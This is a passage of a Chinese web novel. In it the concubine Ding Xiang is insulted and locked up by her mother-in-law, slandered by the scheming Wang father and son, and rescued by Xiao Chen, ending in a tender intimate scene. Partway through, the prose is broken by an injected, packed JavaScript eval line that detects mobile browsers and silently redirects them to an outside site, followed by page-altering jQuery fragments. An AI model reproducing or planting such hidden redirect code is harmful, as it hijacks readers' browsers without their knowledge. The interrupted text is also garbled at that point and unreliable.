“母亲!”李傲雪挡在丁香身前,屈膝行礼,“丁香是公子明媒正娶的妾室,按规矩便是肖家的人,您这样说,岂不是打公子的脸?” 肖母瞪着她:“你还敢护着她?” “儿媳不是护着谁,只是就事论事。”李傲雪抬眸,语气不卑不亢,“丁香进门后一直安分守己,对您恭敬,对府里下人也宽厚,您何必总揪着她的过去不放?” “她的过去就是污点!”肖母怒道,“我儿子何等金贵,怎么能被这种女人玷污!” 丁香在李傲雪身后,听着这字字诛心的话,终于忍不住红了眼眶,却依旧挺直了脊背。她知道,自己的出身是抹不去的烙印,可她对肖晨的心,却比谁都真。 肖母被李傲雪的话噎了一下,脸色越发难看,指着丁香的鼻子骂道:“贱货就是贱货,骨子里就带着钩引男人的骚气!那种腌臜地方出来的,能是什么好东西?全是下贱坯子!” 她转头瞪向李傲雪,语气更厉:“还有你!傲雪你也是名门闺秀出身,竟为这种女人顶撞我,真是越来越不知礼仪!来人,把少夫人带去祠堂,让她跪着好好反省!” 李傲雪脸色一白,却依旧没让开,咬着唇道:“母亲息怒,儿媳只是觉得……” “住口!”肖母厉声打断,“连我的话都敢违逆,看来是我平时太纵容你了!” 接着她又转向丁香,眼神像淬了毒:“贱蹄子,从今天起,你每天把自己走过的地方都给我擦干净!门槛、廊下、院子里的石子路,但凡你踩过的,都得用皂角水洗三遍!别让你的晦气沾了我们肖家的地!” 这话刻薄到了极点,几乎是把人往死里磋磨。丁香身子晃了晃,嘴唇哆嗦着,却终究没说一个字,只是死死咬着牙,指甲掐进肉里渗出血丝。她知道,在这位老夫人眼里,自己连尘埃都不如。 李傲雪急得想争辩,却被管家拦住:“少夫人,老夫人的话,您还是听了吧,免得气坏了身子。” 肖母冷笑:“怎么?还想护着她?再敢多言,就陪她一起擦地!” 李傲雪看着丁香苍白的脸,又看看肖母铁青的神色,知道今日再争也无益,只会让丁香更难堪。她深吸一口气,对丁香递了个安抚的眼神,低声道:“我去去就回。” 说完,她转身跟着管家往祠堂去,背影挺得笔直。 丁香望着她消失的方向,又看向肖母,缓缓屈膝:“儿媳……遵母亲的命。” 肖母“哼”了一声,甩袖回了内室,留下丁香一个人站在空荡荡的客厅里。阳光从窗棂照进来,落在她脚下的青砖上,明明晃晃的,却暖不了她半分。她知道,这只是开始,老夫人心里的刺不拔掉,她往后的日子,只会更难。 可她不能走。肖晨还在这里,李傲雪也为她受了罚,她咬着牙也要撑下去。 她转身走出客厅,默默去柴房找了抹布和皂角,蹲下身,从门槛开始,一下一下地擦了起来。冰凉的水浸透了布巾,也浸透了她的指尖,可她像是没知觉似的,只顾着用力擦,仿佛要把那些难堪的骂名,都一并擦进这尘土里。 肖晨中午从书院出来,便径直往王老爷府上走。前几日应下为王老爷画一幅《秋江独钓图》,今日该去补完最后几笔。 刚进王府大门,王老爷就坐在花厅里喝茶,见他来了,脸上堆起笑,却朝管家使了个眼色。管家会意,引着肖晨往里走。 到了书房,王老爷屏退左右,才慢悠悠开口:“肖贤侄,你那妾室丁香,如今在府里可还安分?” 肖晨握着画笔的手一顿,淡淡道:“劳王老爷挂心,她很好。” 王老爷笑了笑,语气里带着几分探究:“当初你从我院子里把她买走,花了那么多银子,还应下为我做三年事,就为换她一个自由身……你觉得,值得吗?” 肖晨抬眸看他,眼神澄澈:“只要她能脱离奴籍,不再受辖制,就值得。” 他至今记得第一次在王老爷的宴上见到丁香,她抱着琵琶,眼里全是怯意,像只受惊的小鹿。后来听说她是王老爷买来的奴隶,稍有不慎就会被打骂,心里便总惦记着。能把她赎出来,他从未觉得亏。 王老爷却摇了摇头,呷了口茶道:“你呀,还是太年轻。如今整个城里都传遍了,说肖家少爷一掷千金,为的竟是个花船上赎身的奴隶,还把她纳了妾。多少人在背后笑话你,说你肖家书香门第,竟容下这等女子。” 他看着肖晨:“你就不怕坏了名声?将来考功名,这可是污点。” 肖晨握着笔,在宣纸上落下最后一笔钓线,语气平静:“名声是给外人看的,日子是自己过的。丁香是什么样的人,我清楚就好。至于功名……若连自己想护的人都护不住,考来又有何用?” 王老爷被他这番话噎了一下,随即失笑:“倒是个痴情种。罢了,你既这么想,我也不多劝。只是……”他话锋一转,“你母亲那边,怕是容不下她吧?” 肖晨笔尖一顿,墨点在纸上晕开一小团。他想起今早丫鬟说母亲把丁香叫去客厅,心里便沉了沉。 “家母那边,我会劝的。”他低声道,语气却没多少底气。 王老爷见他神色黯然,也不再多言,挥挥手:“画好了就拿去吧。记得你应下的事,可不能反悔。” 肖晨收起画,拱手告辞。走出王府时,阳光有些刺眼,他心里却沉甸甸的。他知道外面的流言难听,也知道母亲的态度强硬,可只要一想到丁香和李傲雪在府里等着他,便觉得这些难处,总能熬过去。 至少,他现在能做的,是护着她们。 王老爷看着肖晨远去的背影,脸上的笑意慢慢敛去,眼神里浮出一丝阴鸷。他背着手踱回花厅,指尖摩挲着茶盏边缘,心里那点被肖晨拂过的不快,渐渐变成了龌龊的念想。 “丁香……”他低声念着这个名字,舌尖舔了舔唇角,眼里闪过一丝贪婪。 那女子他当初买进来时,本就存了心思,只因一时忙于别的事,没来得及动手,竟被肖晨这毛头小子捷足先登,还当成宝似的护着。 “一掷千金?护着?”王老爷嗤笑一声,眼底的光越发暗沉,“一个从花船里出来的货色,还真当自己是金枝玉叶了?” 他想起丁香那双怯生生却又含着水光的眼,想起她弹琴时纤细的手指,心里的邪火就往上窜。肖晨年轻,不懂这其中的滋味,只知道傻气地护着,可他不一样。 “肖晨啊肖晨,”他对着空荡的院子低语,语气里带着笃定的阴狠,“你护得了一时,护不了一世。这肖家老夫人本就容不下她,早晚有一天,她会落到我手里。” 到时候,他要让她知道,谁才是能真正拿捏她的人。要把她当初在花船上的媚态,在肖晨那里学的温顺,都一一讨回来,好好玩赏够了,再弃之如敝履。 他端起茶盏,将冷掉的茶水一饮而尽,喉结滚动间,满是不加掩饰的恶意。 风吹过院中的梧桐叶,沙沙作响,像是在应和他这见不得人的心思。 52.阴狠的王家父子,挑拨他们的关系 王公子把自己关在书房里,手里攥着个玉佩——那是前几日想送给丁香,却被她婉拒的物件。玉佩的棱角硌得手心生疼,像他心里那股说不清道不明的烦躁。 他至今想不通,当初为何要跟父亲作对。明明父亲说了,把丁香留在府里,早晚是他的人,可他偏要逞英雄,觉得强留女子不像样子,还帮着肖晨说过几句好话,间接促成她被赎走。 “现在倒好……”他狠狠把玉佩摔在桌上,发出沉闷的响声。 他原以为,丁香脱离奴籍,总会念他几分情分。可谁知,她心里从头到尾只有一个肖晨。那日在街上远远看见她跟在肖晨身后,眉眼间的温顺依赖,是他从未见过的模样。 一股强烈的不甘像野草般疯长。他比肖晨差在哪里?论家世,王家虽不比肖家是书香门第,却也是富甲一方;论心意,他见她第一眼就动了心思,若不是当初那点可笑的“体面”,哪轮得到肖晨? “凭什么……”他低声嘶吼,一拳砸在窗棂上。 早知道会这样,当初就该听父亲的,把她锁在府里。哪怕她不情不愿,至少他还能天天看见,总能想出办法让她回心转意。可现在,她成了肖晨的妾,住进了肖家,他连见一面都难。 他越想越气,越想越觉得咽不下这口气。 “不行……”他猛地站直身子,眼里闪过一丝狠厉,“不能就这么算了。” 肖家老夫人不是不待见丁香吗?这就是机会。他可以从老夫人那里下手,散播些对丁香不利的流言,让肖家容不下她;也可以……想办法让肖晨误会她,让她在肖家待不下去。 总有办法的。他就不信,一个从花船出来的女子,能有多硬的骨头?只要让她走投无路,还怕她不回到自己身边? 王公子走到桌边,重新拿起那块玉佩,指尖在上面狠狠摩挲着,像是在描摹丁香的模样。眼底的偏执越来越浓—— 丁香,你只能是我的。就算抢,我也要把你抢回来。 王公子揣着那枚玉佩,径直去找了父亲。王老爷见他脸色阴沉,便知他又在为丁香的事烦心,故意慢悠悠地品着茶:“怎么?想通了?当初劝你别放那丫头走,你偏不听。” 王公子咬了咬牙,没理会父亲的嘲讽,直截了当地说:“爹,我要把丁香弄回来。” 王老爷抬了抬眼皮:“哦?怎么弄?肖晨把她当宝贝似的护着,他娘虽不待见,可终究是肖家的人了。” “他娘不待见,就是破绽。”王公子凑近一步,声音压低,“我听说肖老夫人日日刁难丁香,昨儿还罚她擦遍整个院子的地。依我看,不如再加把火,让肖老夫人彻底容不下她。” 王老爷放下茶盏,指尖敲了敲桌面:“你想怎么做?” “找几个嘴碎的婆子,在城里散播些闲话,就说丁香在肖家不安分,私下里还跟以前花船上的人有往来。”王公子眼里闪过一丝阴狠,“肖老夫人最看重脸面,听到这些话,定会对她更厌恶。到时候……说不定就把她赶出来了。” 王老爷眯起眼,没立刻应承,反而道:“肖晨那小子看着温和,实则护短得很。你这么做,不怕他察觉是我们动的手?” “察觉又如何?”王公子冷笑,“他如今还欠着我们家的情,三年之内都得听你的差遣。难不成他还敢跟您翻脸?” 王老爷沉默片刻,忽然笑了:“你倒比以前精明了。不过……”他话锋一转,“赶出来容易,要让她乖乖回我们家,还得另想办法。” “这简单。”王公子胸有成竹,“她一个无依无靠的女子,被肖家赶出来,名声又坏了,除了投靠我们,还能去哪?到时候,还不是任由我们拿捏?” 王老爷看着儿子眼里的急切,慢悠悠道:“这事别急,得做得隐蔽些。先让那些闲话在城里传开,看看肖家的反应再说。” “爹放心,我知道分寸。”王公子应下,心里那股不甘终于找到了宣泄的出口,像有团火在烧。他仿佛已经看到丁香被肖家赶出来,走投无路来求他的模样。 而此时的肖府,丁香刚擦完前院的廊下,指尖冻得通红,腰也酸得直不起来。李傲雪从祠堂回来,见她这副模样,心疼得不行,拉着她就往屋里走:“别擦了,我去跟母亲说。” 丁香却挣开她的手,摇摇头:“少夫人别去,免得又惹母亲生气。我没事,擦擦就习惯了。” 李傲雪看着她强撑的样子,心里又气又急,却终究没再说什么,只是转身去厨房端了盆热水,逼着她把手泡进去:“至少暖暖身子。” 水汽氤氲中,丁香的眼眶红了。她低声道:“少夫人,我是不是……真的不该留下?” 李傲雪握住她的手,语气坚定:“胡说什么?有我和少爷在,谁也别想赶你走。” 只是她没说出口的是,心里那股不安,越来越强烈了。仿佛有什么风暴,正在暗处悄悄酝酿。 王公子从父亲那里得了准话,转身就叫来了府里两个最擅长搬弄是非的婆子,塞给她们一锭银子,附耳交代了半晌。 那两个婆子眼睛一亮,揣着银子就出了王府,专拣茶馆、绣坊、市井热闹处钻。 “你们听说了吗?就是肖家那个新纳的妾,叫丁香的那个?”一个婆子故作神秘地压低声音,凑到一群闲聊的妇人堆里。 “知道啊,不就是那个花船上赎出来的吗?怎么了?”有人接话。 “嗨,这可有的说了!”婆子拍着大腿,“我听王府的人说,她没进肖家之前,就跟王公子好上了!两人还偷偷跑出去私会,要不是被王老爷抓回来,早私奔了!” 另一个婆子在另一边添油加醋:“可不是嘛!听说王公子为了她,跟家里闹得天翻地覆,还差点把她从王老爷手里抢出来呢!结果倒好,她转身就被肖少爷赎走了,这不是把王公子当猴耍吗?” “真的假的?”众人哗然,“那她进了肖家,岂不是带着私情去的?” “谁说不是呢!”婆子咂着嘴,“这种女人,水性杨花的,肖家还当宝贝似的,真是笑掉人大牙!” 流言像长了翅膀,不出半日就传遍了整个县城。从街头的小贩到深宅的丫鬟,都在议论丁香和王公子的“私情”,说得有鼻子有眼,仿佛亲眼所见一般。 有人说看见过两人在城外柳树下抱在一起,有人说丁香偷偷给王公子送过信物,更有人添油加醋,说她进肖家就是为了给王公子打探消息。 这些话像毒箭一样,密密麻麻射向肖府。 李傲雪在院里听丫鬟慌张回禀时,手里的茶盏“哐当”一声掉在地上,摔得粉碎。她脸色惨白——这分明是有人故意栽赃,想毁了丁香! 而此时的丁香,刚擦完后院的石子路,正坐在石阶上歇脚。一个路过的小丫鬟见了她,啐了一口“狐狸精”,飞快地跑开了。 丁香愣在原地,看着那丫鬟的背影,心里一点点冷下去。她好像明白了什么,那些指指点点的目光,那些窃窃私语的议论,原来都源于此。 她缓缓抱住膝盖,将脸埋进去。阳光明明很暖,她却觉得浑身发冷,像掉进了冰窟窿里。 这场无妄之灾,终究还是来了。 肖母在屋里听到丫鬟们嚼舌根,把外面的流言学了个七七八八,气得浑身发抖,抓起桌上的茶杯就往地上砸:“反了!反了!真是把我们肖家的脸都丢尽了!” 她猛地站起来,对着门外吼道:“来人!把丁香那个贱蹄子给我绑过来!” 几个家丁不敢怠慢,很快就把还在院里发愣的丁香捆了过来。丁香手腕被麻绳勒得生疼,看着肖母铁青的脸,心里一片冰凉。 “你这个不要脸的东西!”肖母指着她的鼻子,唾沫星子喷了她一脸,“做出这种不知廉耻的事,还有脸待在肖家?我看你不如死了干净!” 丁香挣扎着,声音带着哭腔:“母亲,儿媳没有!那些都是谣言,是别人胡说的!” “胡说?”肖母冷笑,一步步逼近她,“外面都传遍了,说你跟那个王家小子一起逃跑,被抓了回来!你敢说没有?” 丁香浑身一颤,脸色白得像纸。她确实跟王公子跑过一次——那是王公子说能帮她脱离王老爷的掌控,她一时糊涂信了,可刚跑出城就被王老爷的人抓了回去,根本没发生什么。 她咬着唇,声音微弱却坚定:“是……是有过逃跑的事。但他只是说能救我出去,我们之间……什么都没有发生。” “什么都没有?”肖母扬手就给了她一巴掌,清脆的响声在屋里回荡。丁香被打得偏过头,嘴角立刻渗出血丝。 “孤男寡女一起逃跑,你说什么都没有?谁信!”肖母气得发抖,“我看你就是被那王家小子勾了魂,进了我们肖家的门,心里还惦记着外面的野男人!真是个养不熟的白眼狼!” 丁香被打懵了,眼泪终于忍不住掉下来:“母亲,我说的是真的……求您信我一次……” “信你?我信你就是傻子!”肖母指着门口,“从今天起,你给我关进柴房!没我的命令,不准出来!我倒要看看,没了你这个贱货,我们肖家还能不能清净!” 家丁们立刻上前,拖着哭喊的丁香往外走。丁香回头望着肖母,眼里满是绝望——她知道,这一次,恐怕没人能救她了。 而肖母看着她被拖走,胸口依旧剧烈起伏。她拿起桌上的茶盏,又狠狠砸在地上:“伤风败俗的东西!留着就是祸害!” 肖母在屋里踱了半晌,胸口的火气渐渐平息,眼神却越来越冷。把丁香关在柴房不是长久之计,留着她一日,肖家的名声就被败坏一日。 她冷哼一声,心里有了主意——既然是从那腌臜地方出来的,就该回哪里去。 肖母带着两个老妈子,径直走向柴房。推开那扇吱呀作响的木门,一股霉味扑面而来。丁香蜷缩在角落里,头发散乱,脸上还带着巴掌印,见她进来,下意识地往后缩了缩。 “别躲了。”肖母语气冰冷,像淬了寒霜,“我想好了,留你在府里,早晚是个祸害。” 丁香的心猛地一沉,攥紧了破旧的衣角,等着她的发落。 肖母居高临下地看着她,眼神里满是鄙夷:“你不是从花船里出来的吗?那地方才是你该待的去处。” 她顿了顿,看着丁香煞白的脸,继续说道:“我已经让人去联系当初卖你的那个鸨母了,过几日就把你送回去。也好让你记清楚,自己是什么身份,配不上的人,就别痴心妄想。” “不……不要!”丁香猛地抬头,眼里满是惊恐,“母亲,求您不要送我回去!那地方……那地方不是人待的!我好不容易才出来,求您发发慈悲……” 她挣扎着想爬过去,却被老妈子按住。绝望像潮水一样将她淹没,花船上那些屈辱的记忆瞬间涌上来——打骂、欺凌、被人当作玩物……她死也不想再回去。 “慈悲?”肖母冷笑,“我对你的慈悲,就是让你坏了肖家的名声吗?你这种女人,就只配在那种地方苟活!” 她转身往外走,声音没有一丝温度:“好好待着吧,别想着逃跑。否则,我打断你的腿,再把你扔进去。” 木门“砰”地一声关上,落了锁。 柴房里又恢复了黑暗和寂静。丁香瘫坐在地上,眼泪无声地滑落,浸湿了冰冷的地面。她知道,肖母这次是铁了心要赶她走了。 肖晨会来救她吗?他现在还不知道这些……等他知道了,还来得及吗? 恐惧和绝望像藤蔓一样缠绕着她,让她几乎喘不过气。她死死咬着唇,直到尝到血腥味,才在心里一遍遍默念着肖晨的名字——那是她此刻唯一的希望了。 天色擦黑时,肖晨才从王家出来,手里卷着那幅刚补完的画。一路往家走,总觉得街上的气氛不对——路过的行人都低着头窃窃私语,眼神时不时往他身上瞟,带着几分探究和鄙夷。 他皱了皱眉,加快脚步,刚走到街角,就见两个妇人对着他的背影指指点点,嘴里“啧啧”有声。 肖晨停下脚步,转身走过去。那两人见他过来,慌忙闭了嘴,想绕道走。 “站住。”肖晨叫住她们,语气平静却带着不容置疑的力量,“街上的人都在议论什么?为何对我指指点点?” 其中一个妇人支支吾吾:“没……没什么,少爷您听错了。” 肖晨从袖中摸出一锭银子,放在旁边的石桌上,声音沉了些:“我要知道实情。” 银子的光晃了人的眼,那妇人咽了咽口水,看了同伴一眼,终于咬咬牙,压低声音道:“少爷……是……是关于您府里那位丁香姑娘的。” “丁香怎么了?”肖晨的心猛地提了起来。 “外面都说……”妇人顿了顿,似乎有些难以启齿,“说她以前跟王家公子不清不楚,还一起跑过,被抓回来了……现在整个城里都在传,说您……说您捡了别人不要的……” 后面的话她没说出口,但意思已经再明显不过。 肖晨只觉得脑子里“嗡”的一声,手里的画轴“啪”地掉在地上。他终于明白那些指指点点的眼神是什么意思了——有人在背后造谣,而且目标直指丁香! 他捡起银子,也顾不上再问,转身就往家跑。脚步踉跄,心里像被火烧一样急——丁香在府里,怕是已经受了委屈! 那两个妇人看着他匆忙的背影,捡起银子对视一眼,摇了摇头,又低头继续嚼起了舌根。 暮色四合,肖晨的身影很快消失在巷口。他只恨不得自己能长双翅膀,立刻飞回府里,飞到丁香身边。 他知道,这次的事,绝不像表面看起来那么简单。而他,绝不能让丁香再受半分伤害。 肖晨冲进府门,一眼就撞见正在扫院的阿成,一把抓住他的胳膊,声音发颤:“丁香呢?她在哪里?” 阿成被他吓了一跳,见他脸色铁青,慌忙回话:“丁……丁香姑娘被老夫人关在柴房了!听……听老妈子说,老夫人气坏了,打算明天就把她卖到花船上去……” “混账!”肖晨低吼一声,甩开他的手就往柴房跑。 柴房的锁锈迹斑斑,他一脚踹开木门,昏暗中看见蜷缩在角落的丁香。她头发凌乱,衣衫单薄,脸上还带着未消的巴掌印,听见动静猛地抬头,眼里先是惊恐,看清是他时,瞬间涌满了泪水。 “公子……”她声音嘶哑,带着难以置信的颤抖。 肖晨冲过去,一把将她紧紧抱进怀里,她身上冰凉的温度刺得他心口生疼。“对不起,我来晚了,我来晚了……”他一遍遍地说,声音哽咽。 丁香靠在他怀里,积攒了一天的恐惧和委屈终于决堤,放声大哭起来:“公子……那些流言蜚语都不是真的……我没有……我真的没有……” “我知道,我都知道。”肖晨松开她,捧着她的脸,用指腹轻轻擦去她的眼泪,眼神是从未有过的坚定,“不管过去发生过什么,我都不介意。我只要你好好的,留在我身边,这就够了。” 他看着她脸上的伤痕,看着她冻得发紫的嘴唇,心里像被刀割一样疼。“是我该死,是我没能保护好你,让你受了这么大的委屈……” 丁香摇摇头,泪水模糊了视线:“不怪公子……是我自己不好,出身卑贱,才会被人这样糟践……” “不许这么说。”肖晨打断她,语气带着不容置疑的温柔,“在我心里,你一点都不卑贱。是他们瞎了眼,是他们心思龌龊。” 他脱下自己的外袍,披在她身上,裹紧了些:“别怕,有我在,谁也别想把你送走。我现在就带你出去。” 丁香抓着他的衣袖,像抓住了最后一根救命稻草,眼泪掉得更凶,却用力点了点头。 肖晨抱起她,转身往外走。柴房的门还敞着,晚风灌进来,吹起他的衣角。他低头看着怀里泪眼婆娑的人,心里只有一个念头——这一次,无论谁阻拦,他都绝不会再让她受半分委屈。 肖晨把丁香抱回她的房间,炉火早已熄灭,屋里透着股寒气。他连忙让丫鬟生起火,又亲自倒了杯热茶,小心翼翼地喂到她嘴边。 温热的茶水滑过喉咙,丁香冻得发僵的身子才缓过些暖意。她低着头,不敢看他,睫毛上还挂着泪珠。 肖晨放下茶杯,伸手轻轻抚上她被打过的脸颊,指尖触到那片红肿时,动作放得更柔。他低下头,在她脸颊的伤痕边印下一个轻柔的吻,声音低哑:“疼不疼?” 丁香身子一颤,眼泪又涌了上来,她别过头,声音带着浓浓的自卑:“公子……外面的人都说我脏,老夫人也说……您还是别靠近我了,免得污了您的名声。” 她知道自己的过往是抹不去的烙印,花船的经历、被买卖的身份,如今再加上这些肮脏的流言,她就像一块沾满污泥的石头,只会玷污他这样的“清贵”。 肖晨却一把将她紧紧抱进怀里,力道大得仿佛要将她揉进骨血里。“胡说什么。”他的声音贴着她的耳畔,带着不容置疑的认真,“我从来没有嫌你脏,半分都没有。” 他抬手抬起她的下巴,强迫她看着自己的眼睛,眼底是澄澈的坚定:“在我眼里,你比那些道貌岸然的伪君子干净一百倍、一千倍。那些流言是脏的,那些人的心思是脏的,但你不是。” 丁香望着他眼里的真诚,泪水汹涌而出,却不再是绝望的哭,而是带着委屈和一丝不敢置信的哽咽。 肖晨吻去她的眼泪,从眼角到唇边,动作温柔得像对待稀世珍宝。“别听他们的,也别信他们的。”他抵着她的额头,声音温柔却有力,“你是什么样的人,我心里最清楚。只要我不嫌你,谁也没资格说你脏。” 怀里的人渐渐不再挣扎,只是靠着他的胸膛,哭得像个孩子。肖晨轻轻拍着她的背,任由她把所有的委屈都哭出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095653|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁香在他怀里哭了许久,情绪渐渐平复后,她抬起泪眼朦胧的脸,声音带着一丝茫然和怯懦:“公子,你为什么要对我这么好?我……我不值得的。” 她见过太多趋炎附势、嫌贫爱富的嘴脸,也尝够了被轻贱、被丢弃的滋味,从未想过会有人这样不顾一切地护着她,珍视她。 肖晨捧着她的脸,用指腹轻轻擦去她脸颊的泪痕,眼神温柔而坚定:“因为你是我放在心尖上的人,是我的妻子。只要有我在,就不能让任何人欺负你。” 他的目光太过灼热,烫得丁香心跳加速,下意识地想躲开,却被他轻轻按住后颈。肖晨低下头,吻住了她的唇。这个吻不同于昨夜的炽热,带着小心翼翼的珍视,像春风拂过冰封的湖面,一点点融化她心里的坚冰。 他慢慢褪去她身上单薄的衣衫,指尖抚过她胳膊上因劳作留下的薄茧,掠过被麻绳勒出的红痕,最后停在她嘴角那道浅浅的伤口上。每一处印记,都像针一样扎在他心上。 肖晨俯下身,在她的伤痕上落下细碎的吻,从额头到眉骨,从脸颊到脖颈,再到锁骨……每一寸肌肤都被他温柔地覆盖,仿佛要用这种方式,抚平她受过的所有委屈和伤痛。 “别怕。”他在她耳边低语,声音带着安抚的磁性,“有我在,以后再也不会有人伤害你了。” 丁香闭上眼,感受着他指尖的温度和唇齿的温柔,积压在心底的不安和自卑,在这一刻仿佛被彻底驱散。她抬手,紧紧环住他的脖颈,将脸埋在他的肩窝,泪水无声滑落,这一次,却带着被珍视的暖意。 肖晨的吻落在她的眉心,带着虔诚的珍视,他望着她含泪的眼,声音低沉而认真:“你是我的女人,从里到外都是。” 他的指尖轻轻划过她的脊背,动作温柔得像触碰易碎的瓷器:“跟你这样亲近,对我来说从不是单纯的欲望,而是……是灵魂与身体的契合,是美的结合。” “你的身体是干净的,灵魂更是美好的。”他吻着她的耳垂,气息温热,“你的眼睛,你的笑,你受委屈时强撑的模样,甚至你此刻的眼泪……你的一切,都让我沉醉。” 这些话像温热的泉水,一点点漫过丁香干涸的心田。她活了这么久,听过最多的是“下贱”“肮脏”“玩物”,从未有人告诉她,她是美好的,是值得被这样珍视的。 眼泪再次涌眶而出,这一次却混着滚烫的暖意。她猛地抬头,主动吻上他的唇,带着一丝笨拙的急切,像要把所有的感激和依赖都融进这个吻里。 肖晨的心狠狠一颤,回应得更加温柔。他放缓了所有动作,每一个吻都带着安抚的意味,每一次触碰都像是在确认彼此的存在。没有急切的占有,只有细水长流的缱绻,仿佛要将过往所有的冰冷都用此刻的温热融化。 帐幔低垂,隔绝了外面的风雨。丁香在他温柔的注视里渐渐放松,那些深埋的自卑和恐惧,在他眼底的深情里一点点消散。她感受着他掌心的温度,听着他有力的心跳,整个人像被泡在温水里,晕乎乎的,只觉得前所未有的安稳。 他的温柔像一张细密的网,将她轻轻笼罩,让她不由自主地沉溺其中。她不再抗拒,不再退缩,只是顺从地依偎着他,用最亲密的方式回应着他的珍视。 窗外的月光悄悄移过窗棂,屋里的烛火明明灭灭,映着交颈的身影。对他们而言,此刻的缠绵早已超越了肌肤相亲的本能,更像是一场无声的盟誓——无论前路有多少流言蜚语,多少艰难险阻,他们都会这样紧紧抱着彼此,用温柔抵御世间所有的恶意。 夜还很长,但怀里的温度足够温暖,身边的人足够坚定。丁香在他的温柔里彻底沉沦,闭上眼时,唇边带着一丝安心的笑意。 肖晨紧紧抱着丁香睡了一夜,直到天光微亮才醒。怀里的人睡得安稳,眉头却依旧微微蹙着,像是还在做着不安稳的梦。他低头在她额上印下一个吻,动作轻得怕惊扰了她。 这边刚醒,那边肖母就收到了丫鬟的回话——说少爷昨晚把丁香从柴房带走,两人在房里待了一夜,至今没出来。 肖母气得把手里的佛珠扯断了线,珠子滚了一地。“好手段!真是好手段!”她咬牙切齿地骂,“一个从花船里爬出来的贱蹄子,竟把我儿子迷得晕头转向,连亲娘的话都不听了!” 旁边的老妈子连忙劝:“老夫人息怒,当心气坏身子。少爷许是一时糊涂……” “糊涂?”肖母狠狠一拍桌子,“他要是糊涂,我就得帮他清醒!这等伤风败俗的女人,留着就是祸害!” 她深吸一口气,眼神变得狠厉:“去,把丁香那个贱蹄子给我带来!这次我倒要看看,她还能躲到哪里去!” “可……可少爷守着她呢……”老妈子有些犹豫。 “他敢拦?”肖母冷笑,“我是他娘!他敢为了一个贱女人跟我翻脸不成?去!现在就去!把人给我拖过来!” 老妈子不敢再劝,只好硬着头皮领命。 肖晨刚起身披好衣服,就见门外传来争执声——是老妈子要闯进来,被守在门口的阿成拦住了。 他眼神一沉,对床上的丁香柔声道:“你先躺着,我去去就回。” 丁香攥住他的手,眼里满是担忧:“公子……” “别怕。”肖晨拍了拍她的手背,转身走出房门,脸色已经冷了下来。 “让开。”他对老妈子说,声音里带着不容置疑的寒意。 老妈子被他的气势慑住,嗫嚅道:“少……少爷,老夫人让……让丁香姑娘过去一趟……” 肖晨挡在门口,像一堵坚不可摧的墙:“她哪里也不去。有什么事,我去跟母亲说。” 他知道,这场冲突,终究是躲不过了。 躲在廊下的丫鬟看得真切,连滚带爬地跑回肖母院里,把肖晨护在门口不让人进的模样学了一遍。 肖母听得火冒三丈,一拍桌子站起来:“反了天了!这贱蹄子还真有本事,把我儿子迷得连亲娘都不认了!我倒要去看看,她到底有多大的能耐!” 说着,她拎着裙摆就往丁香的院子冲,身后跟着一群战战兢兢的丫鬟婆子。 刚到门口,就见肖晨背对着门站在屋里,身姿挺拔如松。丁香的床幔还放着,隐约能看见里面蜷缩的身影。 “贱人!还不给我滚出来!”肖母隔着门就吼,声音尖利刺耳。 肖晨猛地转过身,脸色冷得像冰:“母亲!” 他一字一顿道:“请您嘴巴放干净点。我说过,不准您这样侮辱她。” 这还是肖晨头一次用这样的语气跟她说话,带着毫不退让的强硬。肖母愣了一下,随即气得浑身发抖:“你……你为了这个贱女人,敢这么跟我说话?肖晨,你忘了自己是谁养大的了?” “儿子没忘。”肖晨看着她,眼神里满是疲惫和失望,“但母亲也该记得,她是您的儿媳,是我肖晨明媒正娶的人。” “我不认!”肖母厉声打断,“这种从花船里出来的贱人,配不上我们肖家,更配不上你!” 她伸手就要去掀床幔,却被肖晨一把拦住。“母亲!”他的声音陡然提高,“您要是再这样,儿子就……” “你就怎样?”肖母梗着脖子瞪他,“难不成还要打我这个亲娘?” 屋里的气氛僵持到极点,床幔里的丁香听得浑身发抖,指甲深深掐进掌心。她知道,肖晨为了护她,已经和老夫人彻底撕破脸了。 她深吸一口气,猛地掀开床幔走出来,身上还裹着肖晨的外袍,显得身形格外单薄。 “母亲息怒。”她走到肖晨身边,对着肖母屈膝行礼,声音平静却带着韧性,“若母亲实在容不下我,我走便是。不必为难公子。” 肖晨一把将她拉到身后,怒视着肖母:“谁也别想让她走!” 肖母看着这两人一唱一和,气得眼前发黑,指着他们半天说不出话来,最后捂着胸口跌坐在椅子上,放声哭骂:“我的命怎么这么苦啊……养出个白眼狼儿子,被个狐狸精勾了魂……这日子没法过了啊……” 屋里顿时乱作一团,丫鬟们忙着给她顺气,肖晨站在原地,眉头紧锁。他知道,母亲这是撒泼耍赖,可看着她气成这样,心里终究不是滋味。 丁香看着他为难的模样,轻轻拽了拽他的衣袖,低声道:“公子,要不……我还是先去柴房待着吧……” 肖晨却反手握住她的手,握得很紧:“不许去。” 他看向还在哭闹的肖母,语气坚定:“母亲要是实在不喜欢她,我带她搬出去住便是。但想伤她分毫,除非我死。” 这话像一块巨石,狠狠砸在肖母心上。她哭声一顿,难以置信地看着儿子——他竟然为了这个女人,要搬出去住? 阳光透过窗棂照进来,照亮了屋里的尘埃,也照亮了肖晨眼底那份不容动摇的决心。这场闹剧,显然才刚刚开始。 53.他要好好保护她,不让她受伤害 肖晨将丁香紧紧护在怀里,目光如炬地看向肖母,声音不大,却字字千钧:“她是我的妻子,是我肖晨认定的女人。” 他低头看了眼怀里瑟瑟发抖却强撑着的丁香,眼神瞬间软了几分,随即抬眼看向肖母时,又恢复了那份决绝:“从今往后,谁也不准再侮辱她、欺负她。我若是连自己的女人都护不住,还有什么脸面活在这世上?” 肖母被他这话惊得止住了哭骂,怔怔地看着他,仿佛第一次认识自己的儿子。 “你……你说什么浑话!”她声音发颤,“为了这么个女人,你竟要跟我置气,还说什么死不死的?” 